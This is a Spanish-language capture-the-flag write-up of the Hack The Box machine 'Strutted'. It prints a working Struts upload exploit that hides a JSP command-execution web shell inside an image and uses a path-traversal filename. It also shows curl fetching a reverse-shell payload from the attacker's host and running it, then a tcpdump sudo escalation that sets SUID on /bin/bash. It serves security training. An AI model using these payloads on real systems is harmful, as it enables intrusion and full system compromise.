Strutted

Escaneo inicial sencillo:

Tenemos una page web por la cual agregamos el dominio al etc host:

Descargamos el backup en Downloads:

Viendo mas archivos se encontro la cerison la cual busamos la vuln

Muy bien ahora intentaremos subir una img en la web pero interceptando la solicitud con BuripSuite:

Segun la vuln nos dice lo siguiente:

Intentaremos replicarlo:

POST /upload.action HTTP/1.1

Host: strutted.htb

Content-Length: 2091

Cache-Control: max-age=0

Origin: http://strutted.htb

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHZ8mYpc6dOZDC02E

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://strutted.htb/upload.action

Accept-Encoding: gzip, deflate, br

Accept-Language: es-419,es;q=0.9

Cookie: JSESSIONID=B637C191C7419531032532B09E0D4CAF

Connection: keep-alive



------WebKitFormBoundaryHZ8mYpc6dOZDC02E

Content-Disposition: form-data; name="Upload"; filename="descarga.jpeg"

Content-Type: image/jpeg



ÿØÿà


/& %---//0/---5-+------.---------------/--------------ÿÀ

<%@ page import="java.util.*,java.io.*"%>

<%

//

// JSP_KIT

//

// cmd.jsp = Command Execution (unix)

//

// by: Unknown

// modified: 27/06/2003

//

%>

<HTML><BODY>

<FORM METHOD="GET" NAME="myform" ACTION="">

<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" VALUE="Send">

</FORM>

<pre>

<%

if (request.getParameter("cmd") != null) {

        out.println("Command: " + request.getParameter("cmd") + "<BR>");

        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));

        OutputStream os = p.getOutputStream();

        InputStream in = p.getInputStream();

        DataInputStream dis = new DataInputStream(in);

        String disr = dis.readLine();

        while ( disr != null ) {

                out.println(disr); 

                disr = dis.readLine(); 

                }

        }

%>

</pre>

</BODY></HTML>


------WebKitFormBoundaryHZ8mYpc6dOZDC02E

Content-Disposition: form-data; name="top.UploadFileName"



../../shell.jsp

------WebKitFormBoundaryHZ8mYpc6dOZDC02E--

QUE SE HIZO ?

  • Se cambia por mayúscula el "upload" :Content-Disposition: form-data; name="Upload"; filename="descarga.jpeg"

  • Como es una img tenemos q dejar dos a tres líneas del emcabezado para que no tengamos problemas.

  • Por último agregamos el "top.UploadFileName para que se cambie el nombre el archivo y poder modificar su contenido tal como este ejemplo:

  • "Content-Disposition: form-data; name="top.UploadFileName"

    
    
    ../../shell.jsp
    
Este repo es para tener el cmd como html agregadolo adentro de la img

Ahora tenemos nuestro html listo para darnos la Webshell

Al intentar lanzarnos la WebShell no se puede por lo cual se vio conveniente crear un html con el Payload y abrir un servidos con python para poder enviarlo a dentro de la machine.

  • Para ver el archivo que este en el servidor compartiendo.

curl 10.10.16.9
  • Para descargarlo con curl y con el -o mandarlo a la carpeta tmp con el nuevo nombre.

curl 10.10.16.92 -o /tmp/reverse2
  • Con este parámetro lo ejecutamos pero antes tenemos que estar en la escucha por el puerto dado.

bash /tmp/reverse2

Siendo el user tomcat miramos los users y solo hay uno james por lo cual vamos a ver si con la contraseña que obtuvimos anteriormente se puede entrar por ssh.

ssh james@10.10.11.59

Se revisaron los permisos sudo, revelando que tcpdump podía ejecutarse sin contraseña:

bashCopiarEditarjames@strutted:~$ sudo -l  
Matching Defaults entries for james on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump

Este binario es explotable según GTFOBins.

3. Explotación de tcpdump para Escalada a Root

Se creó un archivo temporal con un comando para asignar el bit SUID a /bin/bash:

bashCopiarEditarjames@strutted:~$ COMMAND='chmod u+s /bin/bash'
james@strutted:~$ TF=$(mktemp)
james@strutted:~$ echo "$COMMAND" > $TF
james@strutted:~$ chmod +x $TF

Luego, se ejecutó tcpdump con la opción -z, que permite ejecutar un script cuando se rota un archivo de captura:

bashCopiarEditarjames@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

Esto estableció el bit SUID en /bin/bash, permitiendo ejecutar una shell como root:

bashCopiarEditarjames@strutted:~$ bash -p
bash-5.1# cat /root/root.txt
47ece206edb216c8b2d582089a16b98d

Conclusión

La mala configuración de sudo permitió explotar tcpdump para modificar permisos en /bin/bash, obteniendo acceso root.


Last updated